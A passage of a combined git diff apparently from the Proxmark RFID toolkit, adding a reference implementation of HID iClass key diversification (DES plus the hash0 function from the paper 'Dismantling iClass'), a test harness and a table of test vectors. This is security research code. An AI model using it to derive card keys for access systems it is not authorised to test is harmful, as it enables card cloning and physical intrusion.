++ * @return 0 for ok, 1 for failz
++ */
++int saveFile(const char *preferredName, const char *suffix, const void* data, size_t datalen);
++
++
++/**
++ * Utility function to print to console. This is used consistently within the library instead
++ * of printf, but it actually only calls printf. The reason to have this method is to
++ *make it simple to plug this library into proxmark, which has this function already to
++ * write also to a logfile. When doing so, just point this function to use PrintAndLog
++ * @param fmt
++ */
++void prnlog(char *fmt, ...);
++#endif // FILEUTILS_H
diff --combined client/loclass/ikeys.c
index 0000000000000000000000000000000000000000,18571b0de146fc83103a5e4922d0349721f3c9ae..5240cba1068f87d9b58f5a3171425da19f20bef2
mode 000000,100644..100644
--- /dev/null
@@@ -1,0 -1,469 +1,878 @@@
 -#include "cipherutils.h"
 -#include "cipher.h"
 -#include "../util.h"
+ /*****************************************************************************
+  * This file is part of iClassCipher. It is a reconstructon of the cipher engine
+  * used in iClass, and RFID techology.
+  *
+  * The implementation is based on the work performed by
+  * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and
+  * Milosch Meriac in the paper "Dismantling IClass".
+  *
++ * This is a reference implementation of iclass key diversification. I'm sure it can be
++ * optimized heavily. It is written for ease of understanding and correctness, please take it
++ * and tweak it and make a super fast version instead, using this for testing and verification.
++
+  * Copyright (C) 2014 Martin Holst Swende
+  *
+  * This is free software: you can redistribute it and/or modify
+  * it under the terms of the GNU General Public License version 2 as published
+  * by the Free Software Foundation.
+  *
+  * This file is distributed in the hope that it will be useful,
+  * but WITHOUT ANY WARRANTY; without even the implied warranty of
+  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  * GNU General Public License for more details.
+  *
+  * You should have received a copy of the GNU General Public License
+  * along with IClassCipher.  If not, see <http://www.gnu.org/licenses/>.
+  ****************************************************************************/
+ /**
++
++
+ From "Dismantling iclass":
+       This section describes in detail the built-in key diversification algorithm of iClass.
+       Besides the obvious purpose of deriving a card key from a master key, this
+       algorithm intends to circumvent weaknesses in the cipher by preventing the
+       usage of certain ‘weak’ keys. In order to compute a diversified key, the iClass
+       reader first encrypts the card identity id with the master key K, using single
+       DES. The resulting ciphertext is then input to a function called hash0 which
+       outputs the diversified key k.
+       k = hash0(DES enc (id, K))
+       Here the DES encryption of id with master key K outputs a cryptogram c
+       of 64 bits. These 64 bits are divided as c = x, y, z [0] , . . . , z [7] ∈ F 82 × F 82 × (F 62 ) 8
+       which is used as input to the hash0 function. This function introduces some
+       obfuscation by performing a number of permutations, complement and modulo
+       operations, see Figure 2.5. Besides that, it checks for and removes patterns like
+       similar key bytes, which could produce a strong bias in the cipher. Finally, the
+       output of hash0 is the diversified card key k = k [0] , . . . , k [7] ∈ (F 82 ) 8 .
+ **/
+ #include <stdint.h>
+ #include <stdbool.h>
+ #include <string.h>
 -#include "des.h"
+ #include <stdio.h>
 -static bool debug_print = false;
+ #include <inttypes.h>
++#include "fileutils.h"
++#include "cipherutils.h"
++#include "des.h"
+ uint8_t pi[35] = {0x0F,0x17,0x1B,0x1D,0x1E,0x27,0x2B,0x2D,0x2E,0x33,0x35,0x39,0x36,0x3A,0x3C,0x47,0x4B,0x4D,0x4E,0x53,0x55,0x56,0x59,0x5A,0x5C,0x63,0x65,0x66,0x69,0x6A,0x6C,0x71,0x72,0x74,0x78};
+ static des_context ctx_enc = {DES_ENCRYPT,{0}};
+ static des_context ctx_dec = {DES_DECRYPT,{0}};
 -      //return (c >> n*6) & 0x3f;
++static int debug_print = 0;
+ /**
+  * @brief The key diversification algorithm uses 6-bit bytes.
+  * This implementation uses 64 bit uint to pack seven of them into one
+  * variable. When they are there, they are placed as follows:
+  * XXXX XXXX N0 .... N7, occupying the lsat 48 bits.
+  *
+  * This function picks out one from such a collection
+  * @param all
+  * @param n bitnumber
+  * @return
+  */
+ uint8_t getSixBitByte(uint64_t c, int n)
+ {
+       return (c >> (42-6*n)) & 0x3F;
 -
+ }
+ /**
+  * @brief Puts back a six-bit 'byte' into a uint64_t.
+  * @param c buffer
+  * @param z the value to place there
+  * @param n bitnumber.
+  */
+ void pushbackSixBitByte(uint64_t *c, uint8_t z, int n)
+ {
+       //0x XXXX YYYY ZZZZ ZZZZ ZZZZ
+       //             ^z0         ^z7
+       //z0:  1111 1100 0000 0000
+       uint64_t masked = z & 0x3F;
+       uint64_t eraser = 0x3F;
+       masked <<= 42-6*n;
+       eraser <<= 42-6*n;
+       //masked <<= 6*n;
+       //eraser <<= 6*n;
+       eraser = ~eraser;
+       (*c) &= eraser;
+       (*c) |= masked;
+ }
 -//    printf("ck( i=%d, j=%d), zi=[%d],zj=[%d] \n",i,j,getSixBitByte(z,i),getSixBitByte(z,j) );
 -
++/**
++ * @brief Swaps the z-values.
++ * If the input value has format XYZ0Z1...Z7, the output will have the format
++ * XYZ7Z6...Z0 instead
++ * @param c
++ * @return
++ */
+ uint64_t swapZvalues(uint64_t c)
+ {
+       uint64_t newz = 0;
+       pushbackSixBitByte(&newz, getSixBitByte(c,0),7);
+       pushbackSixBitByte(&newz, getSixBitByte(c,1),6);
+       pushbackSixBitByte(&newz, getSixBitByte(c,2),5);
+       pushbackSixBitByte(&newz, getSixBitByte(c,3),4);
+       pushbackSixBitByte(&newz, getSixBitByte(c,4),3);
+       pushbackSixBitByte(&newz, getSixBitByte(c,5),2);
+       pushbackSixBitByte(&newz, getSixBitByte(c,6),1);
+       pushbackSixBitByte(&newz, getSixBitByte(c,7),0);
+       newz |= (c & 0xFFFF000000000000);
+       return newz;
+ }
+ /**
+ * @return 4 six-bit bytes chunked into a uint64_t,as 00..00a0a1a2a3
+ */
+ uint64_t ck(int i, int j, uint64_t z)
+ {
 -              // TODO, I dont know what they mean here in the paper
+       if(i == 1 && j == -1)
+       {
+               // ck(1, −1, z [0] . . . z [3] ) = z [0] . . . z [3]
+               return z;
+       }else if( j == -1)
+       {
+               // ck(i, −1, z [0] . . . z [3] ) = ck(i − 1, i − 2, z [0] . . . z [3] )
+               return ck(i-1,i-2, z);
+       }
+       if(getSixBitByte(z,i) == getSixBitByte(z,j))
+       {
 -              //printf("z[i]=z[i] (0x%02x), i=%d, j=%d\n",getSixBitByte(z,i),i,j );
++
+               //ck(i, j − 1, z [0] . . . z [i] ← j . . . z [3] )
+               uint64_t newz = 0;
+               int c;
 -                              //printf("oops\n");
+               for(c = 0; c < 4 ;c++)
+               {
+                       uint8_t val = getSixBitByte(z,c);
+                       if(c == i)
+                       {
 -
+                               pushbackSixBitByte(&newz, j, c);
+                       }else
+                       {
+                               pushbackSixBitByte(&newz, val, c);
+                       }
+               }
+               return ck(i,j-1,newz);
+       }else
+       {
+               return ck(i,j-1,z);
+       }
 -              //printf("permute pushing, zl=0x%02x, zl+1=0x%02x\n", zl, zl+1);
+ }
+ /**
+       Definition 8.
+       Let the function check : (F 62 ) 8 → (F 62 ) 8 be defined as
+       check(z [0] . . . z [7] ) = ck(3, 2, z [0] . . . z [3] ) · ck(3, 2, z [4] . . . z [7] )
+       where ck : N × N × (F 62 ) 4 → (F 62 ) 4 is defined as
+               ck(1, −1, z [0] . . . z [3] ) = z [0] . . . z [3]
+               ck(i, −1, z [0] . . . z [3] ) = ck(i − 1, i − 2, z [0] . . . z [3] )
+               ck(i, j, z [0] . . . z [3] ) =
+               ck(i, j − 1, z [0] . . . z [i] ← j . . . z [3] ),  if z [i] = z [j] ;
+               ck(i, j − 1, z [0] . . . z [3] ), otherwise
+       otherwise.
+ **/
+ uint64_t check(uint64_t z)
+ {
+       //These 64 bits are divided as c = x, y, z [0] , . . . , z [7]
+       // ck(3, 2, z [0] . . . z [3] )
+       uint64_t ck1 = ck(3,2, z );
+       // ck(3, 2, z [4] . . . z [7] )
+       uint64_t ck2 = ck(3,2, z << 24);
++
++      //The ck function will place the values
++      // in the middle of z.
+       ck1 &= 0x00000000FFFFFF000000;
+       ck2 &= 0x00000000FFFFFF000000;
+       return ck1 | ck2 >> 24;
+ }
+ void permute(BitstreamIn *p_in, uint64_t z,int l,int r, BitstreamOut* out)
+ {
+       if(bitsLeft(p_in) == 0)
+       {
+               return;
+       }
+       bool pn = tailBit(p_in);
+       if( pn ) // pn = 1
+       {
+               uint8_t zl = getSixBitByte(z,l);
 -              //printf("permute pushing, zr=0x%02x\n", zr);
++
+               push6bits(out, zl+1);
+               permute(p_in, z, l+1,r, out);
+       }else // otherwise
+       {
+               uint8_t zr = getSixBitByte(z,r);
 -void testPermute()
 -{
 -
 -      uint64_t x = 0;
 -      pushbackSixBitByte(&x,0x00,0);
 -      pushbackSixBitByte(&x,0x01,1);
 -      pushbackSixBitByte(&x,0x02,2);
 -      pushbackSixBitByte(&x,0x03,3);
 -      pushbackSixBitByte(&x,0x04,4);
 -      pushbackSixBitByte(&x,0x05,5);
 -      pushbackSixBitByte(&x,0x06,6);
 -      pushbackSixBitByte(&x,0x07,7);
 -
 -      uint8_t mres[8] = { getSixBitByte(x, 0),
 -                                              getSixBitByte(x, 1),
 -                                              getSixBitByte(x, 2),
 -                                              getSixBitByte(x, 3),
 -                                              getSixBitByte(x, 4),
 -                                              getSixBitByte(x, 5),
 -                                              getSixBitByte(x, 6),
 -                                              getSixBitByte(x, 7)};
 -      printarr("input_perm", mres,8);
 -
 -      uint8_t p = ~pi[0];
 -      BitstreamIn p_in = { &p, 8,0 };
 -      uint8_t outbuffer[] = {0,0,0,0,0,0,0,0};
 -      BitstreamOut out = {outbuffer,0,0};
 -
 -      permute(&p_in, x,0,4, &out);
 -
 -      uint64_t permuted = bytes_to_num(outbuffer,8);
 -      //printf("zTilde 0x%"PRIX64"\n", zTilde);
 -      permuted >>= 16;
 -
 -      uint8_t res[8] = { getSixBitByte(permuted, 0),
 -                                              getSixBitByte(permuted, 1),
 -                                              getSixBitByte(permuted, 2),
 -                                              getSixBitByte(permuted, 3),
 -                                              getSixBitByte(permuted, 4),
 -                                              getSixBitByte(permuted, 5),
 -                                              getSixBitByte(permuted, 6),
 -                                              getSixBitByte(permuted, 7)};
 -      printarr("permuted", res, 8);
 -}
++
+               push6bits(out, zr);
+               permute(p_in,z,l,r+1,out);
+       }
+ }
 -      if(! debug_print)
 -              return;
+ void printbegin()
+ {
 -      printf("          | x| y|z0|z1|z2|z3|z4|z5|z6|z7|\n");
++      if(debug_print <2)
++              return ;
 -void printState(char* desc, int x,int y, uint64_t c)
++      prnlog("          | x| y|z0|z1|z2|z3|z4|z5|z6|z7|");
+ }
 -      if(! debug_print)
 -              return;
++void printState(char* desc, uint64_t c)
+ {
 -      //uint8_t x =   (c & 0xFF00000000000000 ) >> 56;
 -      //uint8_t y =   (c & 0x00FF000000000000 ) >> 48;
++      if(debug_print < 2)
++              return ;
+       printf("%s : ", desc);
 -void hash0(uint64_t c, uint8_t *k)
++      uint8_t x =     (c & 0xFF00000000000000 ) >> 56;
++      uint8_t y =     (c & 0x00FF000000000000 ) >> 48;
+       printf("  %02x %02x", x,y);
+       int i ;
+       for(i =0 ; i < 8 ; i++)
+       {
+               printf(" %02x", getSixBitByte(c,i));
+       }
+       printf("\n");
+ }
+ /**
+  * @brief
+  *Definition 11. Let the function hash0 : F 82 × F 82 × (F 62 ) 8 → (F 82 ) 8 be defined as
+  *    hash0(x, y, z [0] . . . z [7] ) = k [0] . . . k [7] where
+  * z'[i] = (z[i] mod (63-i)) + i      i =  0...3
+  * z'[i+4] = (z[i+4] mod (64-i)) + i  i =  0...3
+  * ẑ = check(z');
+  * @param c
+  * @param k this is where the diversified key is put (should be 8 bytes)
+  * @return
+  */
 -      printState("origin",x,y,c);
++void hash0(uint64_t c, uint8_t k[8])
+ {
++      c = swapZvalues(c);
++
+       printbegin();
++      printState("origin",c);
+       //These 64 bits are divided as c = x, y, z [0] , . . . , z [7]
+       // x = 8 bits
+       // y = 8 bits
+       // z0-z7 6 bits each : 48 bits
+       uint8_t x =     (c & 0xFF00000000000000 ) >> 56;
+       uint8_t y =     (c & 0x00FF000000000000 ) >> 48;
 -      printState("x|y|z'",x,y,zP);
+       int n;
+       uint8_t zn, zn4, _zn, _zn4;
+       uint64_t zP = 0;
+       for(n = 0;  n < 4 ; n++)
+       {
+               zn = getSixBitByte(c,n);
++
+               zn4 = getSixBitByte(c,n+4);
+               _zn = (zn % (63-n)) + n;
+               _zn4 = (zn4 % (64-n)) + n;
++
+               pushbackSixBitByte(&zP, _zn,n);
+               pushbackSixBitByte(&zP, _zn4,n+4);
+       }
 -      printState("x|y|z^",x,y,zP);
++      printState("0|0|z'",zP);
+       uint64_t zCaret = check(zP);
 -    printState("p|y|z^",p,y,zP);
 -      //if(debug_print) printf("p:%02x\n", p);
++      printState("0|0|z^",zP);
+       uint8_t p = pi[x % 35];
+       if(x & 1) //Check if x7 is 1
+       {
+               p = ~p;
+       }
 -      //printf("Permute output is %d num bits (48?)\n", out.numbits);
++
++      if(debug_print >= 2) prnlog("p:%02x", p);
+       BitstreamIn p_in = { &p, 8,0 };
+       uint8_t outbuffer[] = {0,0,0,0,0,0,0,0};
+       BitstreamOut out = {outbuffer,0,0};
+       permute(&p_in,zCaret,0,4,&out);//returns 48 bits? or 6 8-bytes
+       //Out is now a buffer containing six-bit bytes, should be 48 bits
+       // if all went well
 -      uint64_t zTilde = bytes_to_num(outbuffer,8);
+       //Shift z-values down onto the lower segment
 -      //printf("zTilde 0x%"PRIX64"\n", zTilde);
++    uint64_t zTilde = x_bytes_to_num(outbuffer,8);
 -      //printf("z~ 0x%"PRIX64"\n", zTilde);
 -      printState("p|y|z~", p,y,zTilde);
+       zTilde >>= 16;
 -              //printf("y%d = %d\n",i,(y  << i) & 0x80);
++
++      printState("0|0|z~", zTilde);
+       int i;
+       int zerocounter =0 ;
+       for(i =0 ; i < 8  ; i++)
+       {
+               // the key on index i is first a bit from y
+               // then six bits from z,
+               // then a bit from p
+               // Init with zeroes
+               k[i] = 0;
+               // First, place yi leftmost in k
+               //k[i] |= (y  << i) & 0x80 ;
+               // First, place y(7-i) leftmost in k
+               k[i] |= (y  << (7-i)) & 0x80 ;
 -              //printf("zTilde_%d 0x%02x (should be <= 0x3F)\n",i, zTilde_i);
++
+               uint8_t zTilde_i = getSixBitByte(zTilde, i);
 -      //printf("zerocounter=%d (should be 4)\n",zerocounter);
 -      //printf("permute fin, y:0x%02x, x: 0x%02x\n", y, x);
+               // zTildeI is now on the form 00XXXXXX
+               // with one leftshift, it'll be
+               // 0XXXXXX0
+               // So after leftshift, we can OR it into k
+               // However, when doing complement, we need to
+               // again MASK 0XXXXXX0 (0x7E)
+               zTilde_i <<= 1;
+               //Finally, add bit from p or p-mod
+               //Shift bit i into rightmost location (mask only after complement)
+               uint8_t p_i = p >> i & 0x1;
+               if( k[i] )// yi = 1
+               {
+                       //printf("k[%d] +1\n", i);
+                       k[i] |= ~zTilde_i & 0x7E;
+                       k[i] |= p_i & 1;
+                       k[i] += 1;
+               }else // otherwise
+               {
+                       k[i] |= zTilde_i & 0x7E;
+                       k[i] |= (~p_i) & 1;
+               }
+               if((k[i]  & 1 )== 0)
+               {
+                       zerocounter ++;
+               }
+       }
 -      //return k;
++}
++/**
++ * @brief Performs Elite-class key diversification
++ * @param csn
++ * @param key
++ * @param div_key
++ */
++void diversifyKey(uint8_t csn[8], uint8_t key[8], uint8_t div_key[8])
++{
++
++      // Prepare the DES key
++      des_setkey_enc( &ctx_enc, key);
++
++      uint8_t crypted_csn[8] = {0};
 -void reorder(uint8_t arr[8])
++      // Calculate DES(CSN, KEY)
++      des_crypt_ecb(&ctx_enc,csn, crypted_csn);
++
++      //Calculate HASH0(DES))
++    uint64_t crypt_csn = x_bytes_to_num(crypted_csn, 8);
++      //uint64_t crypted_csn_swapped = swapZvalues(crypt_csn);
++
++      hash0(crypt_csn,div_key);
+ }
 -      uint8_t tmp[4] = {arr[3],arr[2],arr[1], arr[0]};
 -      arr[0] = arr[7];
 -      arr[1] = arr[6];
 -      arr[2] = arr[5];
 -      arr[3] = arr[4];
 -      arr[4] = tmp[0];//arr[3];
 -      arr[5] = tmp[1];//arr[2];
 -      arr[6] = tmp[2];//arr[3];
 -      arr[7] = tmp[3];//arr[1]
++
++
++
++
++void testPermute()
+ {
 -//extern void printarr(char * name, uint8_t* arr, int len);
++
++      uint64_t x = 0;
++      pushbackSixBitByte(&x,0x00,0);
++      pushbackSixBitByte(&x,0x01,1);
++      pushbackSixBitByte(&x,0x02,2);
++      pushbackSixBitByte(&x,0x03,3);
++      pushbackSixBitByte(&x,0x04,4);
++      pushbackSixBitByte(&x,0x05,5);
++      pushbackSixBitByte(&x,0x06,6);
++      pushbackSixBitByte(&x,0x07,7);
++
++      uint8_t mres[8] = { getSixBitByte(x, 0),
++                                              getSixBitByte(x, 1),
++                                              getSixBitByte(x, 2),
++                                              getSixBitByte(x, 3),
++                                              getSixBitByte(x, 4),
++                                              getSixBitByte(x, 5),
++                                              getSixBitByte(x, 6),
++                                              getSixBitByte(x, 7)};
++      printarr("input_perm", mres,8);
++
++      uint8_t p = ~pi[0];
++      BitstreamIn p_in = { &p, 8,0 };
++      uint8_t outbuffer[] = {0,0,0,0,0,0,0,0};
++      BitstreamOut out = {outbuffer,0,0};
++
++      permute(&p_in, x,0,4, &out);
++
++    uint64_t permuted = x_bytes_to_num(outbuffer,8);
++      //printf("zTilde 0x%"PRIX64"\n", zTilde);
++      permuted >>= 16;
++
++      uint8_t res[8] = { getSixBitByte(permuted, 0),
++                                              getSixBitByte(permuted, 1),
++                                              getSixBitByte(permuted, 2),
++                                              getSixBitByte(permuted, 3),
++                                              getSixBitByte(permuted, 4),
++                                              getSixBitByte(permuted, 5),
++                                              getSixBitByte(permuted, 6),
++                                              getSixBitByte(permuted, 7)};
++      printarr("permuted", res, 8);
+ }
 -                      printf("parity1 fail, byte %d [%02x] was %d, should be %d\n",i,key[i],(key[i] & 0x1),parity);
++//These testcases are
++//{ UID , TEMP_KEY, DIV_KEY} using the specific key
++typedef struct
++{
++      uint8_t uid[8];
++      uint8_t t_key[8];
++      uint8_t div_key[8];
++} Testcase;
++
++
++int testDES(Testcase testcase, des_context ctx_enc, des_context ctx_dec)
++{
++      uint8_t des_encrypted_csn[8] = {0};
++      uint8_t decrypted[8] = {0};
++      uint8_t div_key[8] = {0};
++      int retval = des_crypt_ecb(&ctx_enc,testcase.uid,des_encrypted_csn);
++      retval |= des_crypt_ecb(&ctx_dec,des_encrypted_csn,decrypted);
++
++      if(memcmp(testcase.uid,decrypted,8) != 0)
++      {
++              //Decryption fail
++              prnlog("Encryption <-> Decryption FAIL");
++              printarr("Input", testcase.uid, 8);
++              printarr("Decrypted", decrypted, 8);
++              retval = 1;
++      }
++
++      if(memcmp(des_encrypted_csn,testcase.t_key,8) != 0)
++      {
++              //Encryption fail
++              prnlog("Encryption != Expected result");
++              printarr("Output", des_encrypted_csn, 8);
++              printarr("Expected", testcase.t_key, 8);
++              retval = 1;
++      }
++    uint64_t crypted_csn = x_bytes_to_num(des_encrypted_csn,8);
++      hash0(crypted_csn, div_key);
++      if(memcmp(div_key, testcase.div_key ,8) != 0)
++      {
++              //Key diversification fail
++              prnlog("Div key != expected result");
++              printarr("  csn   ", testcase.uid,8);
++              printarr("{csn}   ", des_encrypted_csn,8);
++              printarr("hash0   ", div_key, 8);
++              printarr("Expected", testcase.div_key, 8);
++              retval = 1;
++
++      }
++      return retval;
++}
+ bool des_getParityBitFromKey(uint8_t key)
+ {//The top 7 bits is used
+       bool parity = ((key & 0x80) >> 7)
+                       ^ ((key & 0x40) >> 6) ^ ((key & 0x20) >> 5)
+                       ^ ((key & 0x10) >> 4) ^ ((key & 0x08) >> 3)
+                       ^ ((key & 0x04) >> 2) ^ ((key & 0x02) >> 1);
+       return !parity;
+ }
++
++
+ void des_checkParity(uint8_t* key)
+ {
+       int i;
+       int fails =0;
+       for(i =0 ; i < 8 ; i++)
+       {
+               bool parity = des_getParityBitFromKey(key[i]);
+               if(parity != (key[i] & 0x1))
+               {
+                       fails++;
 -              printf("parity fails: %d\n", fails);
++                      prnlog("[+] parity1 fail, byte %d [%02x] was %d, should be %d",i,key[i],(key[i] & 0x1),parity);
+               }
+       }
+       if(fails)
+       {
 -              printf("Key syntax is with parity bits inside each byte\n");
++              prnlog("[+] parity fails: %d", fails);
+       }else
+       {
 -void printarr2(char * name, uint8_t* arr, int len)
++              prnlog("[+] Key syntax is with parity bits inside each byte");
+       }
+ }
 -      int i ;
 -      printf("%s :", name);
 -      for(i =0 ;  i< len ; i++)
++Testcase testcases[] ={
++
++      {{0x8B,0xAC,0x60,0x1F,0x53,0xB8,0xED,0x11},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x07}},
++      {{0xAE,0x51,0xE5,0x62,0xE7,0x9A,0x99,0x39},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01},{0x04,0x02,0x06,0x08,0x01,0x03,0x05,0x07}},
++      {{0x9B,0x21,0xE4,0x31,0x6A,0x00,0x29,0x62},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02},{0x06,0x04,0x02,0x08,0x01,0x03,0x05,0x07}},
++      {{0x65,0x24,0x0C,0x41,0x4F,0xC2,0x21,0x93},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04},{0x0A,0x04,0x06,0x08,0x01,0x03,0x05,0x07}},
++      {{0x7F,0xEB,0xAE,0x93,0xE5,0x30,0x08,0xBD},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08},{0x12,0x04,0x06,0x08,0x01,0x03,0x05,0x07}},
++      {{0x49,0x7B,0x70,0x74,0x9B,0x35,0x1B,0x83},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10},{0x22,0x04,0x06,0x08,0x01,0x03,0x05,0x07}},
++      {{0x02,0x3C,0x15,0x6B,0xED,0xA5,0x64,0x6C},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20},{0x42,0x04,0x06,0x08,0x01,0x03,0x05,0x07}},
++      {{0xE8,0x37,0xE0,0xE2,0xC6,0x45,0x24,0xF3},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40},{0x02,0x06,0x04,0x08,0x01,0x03,0x05,0x07}},
++      {{0xAB,0xBD,0x30,0x05,0x29,0xC8,0xF7,0x12},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80},{0x02,0x08,0x06,0x04,0x01,0x03,0x05,0x07}},
++      {{0x17,0xE8,0x97,0xF0,0x99,0xB6,0x79,0x31},{0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00},{0x02,0x0C,0x06,0x08,0x01,0x03,0x05,0x07}},
++      {{0x49,0xA4,0xF0,0x8F,0x5F,0x96,0x83,0x16},{0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00},{0x02,0x14,0x06,0x08,0x01,0x03,0x05,0x07}},
++      {{0x60,0xF5,0x7E,0x54,0xAA,0x41,0x83,0xD4},{0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00},{0x02,0x24,0x06,0x08,0x01,0x03,0x05,0x07}},
++      {{0x1D,0xF6,0x3B,0x6B,0x85,0x55,0xF0,0x4B},{0x00,0x00,0x00,0x00,0x00,0x00,0x08,0x00},{0x02,0x44,0x06,0x08,0x01,0x03,0x05,0x07}},
++      {{0x1F,0xDC,0x95,0x1A,0xEA,0x6B,0x4B,0xB4},{0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00},{0x02,0x04,0x08,0x06,0x01,0x03,0x05,0x07}},
++      {{0xEC,0x93,0x72,0xF0,0x3B,0xA9,0xF5,0x0B},{0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00},{0x02,0x04,0x0A,0x08,0x01,0x03,0x05,0x07}},
++      {{0xDE,0x57,0x5C,0xBE,0x2D,0x55,0x03,0x12},{0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00},{0x02,0x04,0x0E,0x08,0x01,0x03,0x05,0x07}},
++      {{0x1E,0xD2,0xB5,0xCE,0x90,0xC9,0xC1,0xCC},{0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00},{0x02,0x04,0x16,0x08,0x01,0x03,0x05,0x07}},
++      {{0xD8,0x65,0x96,0x4E,0xE7,0x74,0x99,0xB8},{0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00},{0x02,0x04,0x26,0x08,0x01,0x03,0x05,0x07}},
++      {{0xE3,0x7A,0x29,0x83,0x31,0xD5,0x3A,0x54},{0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00},{0x02,0x04,0x46,0x08,0x01,0x03,0x05,0x07}},
++      {{0x3A,0xB5,0x1A,0x34,0x34,0x25,0x12,0xF0},{0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00},{0x02,0x04,0x06,0x0A,0x01,0x03,0x05,0x07}},
++      {{0xF2,0x88,0xEE,0x6F,0x70,0x6F,0xC2,0x52},{0x00,0x00,0x00,0x00,0x00,0x08,0x00,0x00},{0x02,0x04,0x06,0x0C,0x01,0x03,0x05,0x07}},
++      {{0x76,0xEF,0xEB,0x80,0x52,0x43,0x83,0x57},{0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00},{0x02,0x04,0x06,0x10,0x01,0x03,0x05,0x07}},
++      {{0x1C,0x09,0x8E,0x3B,0x23,0x23,0x52,0xB5},{0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00},{0x02,0x04,0x06,0x18,0x01,0x03,0x05,0x07}},
++      {{0xA9,0x13,0xA2,0xBE,0xCF,0x1A,0xC4,0x9A},{0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00},{0x02,0x04,0x06,0x28,0x01,0x03,0x05,0x07}},
++      {{0x25,0x56,0x4B,0xB0,0xC8,0x2A,0xD4,0x27},{0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00},{0x02,0x04,0x06,0x48,0x01,0x03,0x05,0x07}},
++      {{0xB1,0x04,0x57,0x3F,0xA7,0x16,0x62,0xD4},{0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x03,0x01,0x05,0x07}},
++      {{0x45,0x46,0xED,0xCC,0xE7,0xD3,0x8E,0xA3},{0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x05,0x03,0x01,0x07}},
++      {{0x22,0x6D,0xB5,0x35,0xE0,0x5A,0xE0,0x90},{0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x09,0x03,0x05,0x07}},
++      {{0xB8,0xF5,0xE5,0x44,0xC5,0x98,0x4A,0xBD},{0x00,0x00,0x00,0x00,0x08,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x11,0x03,0x05,0x07}},
++      {{0xAC,0x78,0x0A,0x23,0x9E,0xF6,0xBC,0xA0},{0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x21,0x03,0x05,0x07}},
++      {{0x46,0x6B,0x2D,0x70,0x41,0x17,0xBF,0x3D},{0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x41,0x03,0x05,0x07}},
++      {{0x64,0x44,0x24,0x71,0xA2,0x56,0xDF,0xB5},{0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x05,0x03,0x07}},
++      {{0xC4,0x00,0x52,0x24,0xA2,0xD6,0x16,0x7A},{0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x07,0x05,0x03}},
++      {{0xD8,0x4A,0x80,0x1E,0x95,0x5B,0x70,0xC4},{0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x0B,0x05,0x07}},
++      {{0x08,0x56,0x6E,0xB5,0x64,0xD6,0x47,0x4E},{0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x13,0x05,0x07}},
++      {{0x41,0x6F,0xBA,0xA4,0xEB,0xAE,0xA0,0x55},{0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x23,0x05,0x07}},
++      {{0x62,0x9D,0xDE,0x72,0x84,0x4A,0x53,0xD5},{0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x43,0x05,0x07}},
++      {{0x39,0xD3,0x2B,0x66,0xB8,0x08,0x40,0x2E},{0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x07,0x05}},
++      {{0xAF,0x67,0xA9,0x18,0x57,0x21,0xAF,0x8D},{0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x09,0x07}},
++      {{0x34,0xBC,0x9D,0xBC,0xC4,0xC2,0x3B,0xC8},{0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x0D,0x07}},
++      {{0xB6,0x50,0xF9,0x81,0xF6,0xBF,0x90,0x3C},{0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x15,0x07}},
++      {{0x71,0x41,0x93,0xA1,0x59,0x81,0xA5,0x52},{0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x25,0x07}},
++      {{0x6B,0x00,0xBD,0x74,0x1C,0x3C,0xE0,0x1A},{0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x45,0x07}},
